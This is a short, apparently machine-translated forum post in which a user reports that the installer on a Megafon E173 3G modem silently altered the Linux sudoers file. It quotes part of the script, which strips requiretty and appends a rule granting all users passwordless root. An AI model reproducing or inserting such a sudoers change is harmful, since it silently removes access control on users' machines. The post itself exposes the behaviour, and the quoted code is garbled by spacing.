Megafon 3G modem + linux modifies sudoers

I bought an E173 modem, an installation script on the built-in memory, requires root privileges. Made a mistake, gave silently rights. Later I see that the sudo command does not require a password. I decided to see the installation script. Here is a part of it:

grep -v "MobilePartner.sh" / etc / sudoers> / tmp / $ {TEMPFILE} 2> & 1
DELETECOMMENT = "delete requiretty for hw_mobile"
REQUIRETTY = `grep" $ {DELETECOMMENT} "/ tmp / $ {TEMPFILE}`
if ["x $ {REQUIRETTY}"! = "x"]
then
REQUIRETTY = `echo" $ {REQUIRETTY} "| awk -F ',' '{printf $ 2}' `
else
REQUIRETTY = `grep" requiretty "/ tmp / $ {TEMPFILE}`
if ["x $ {REQUIRETTY}"! = "x"]
then
sed -i "s / $ {REQUIRETTY} / #, $ {REQUIRETTY}, $ {DELETECOMMENT} / g" / tmp / $ {TEMPFILE} 2> / dev / null
fi
fi # Shashank: Defect fix AJ2D13470: Begin
echo -e "ALL ALL = (ALL) NOPASSWD: ALL" >> / tmp / $ {TEMPFILE}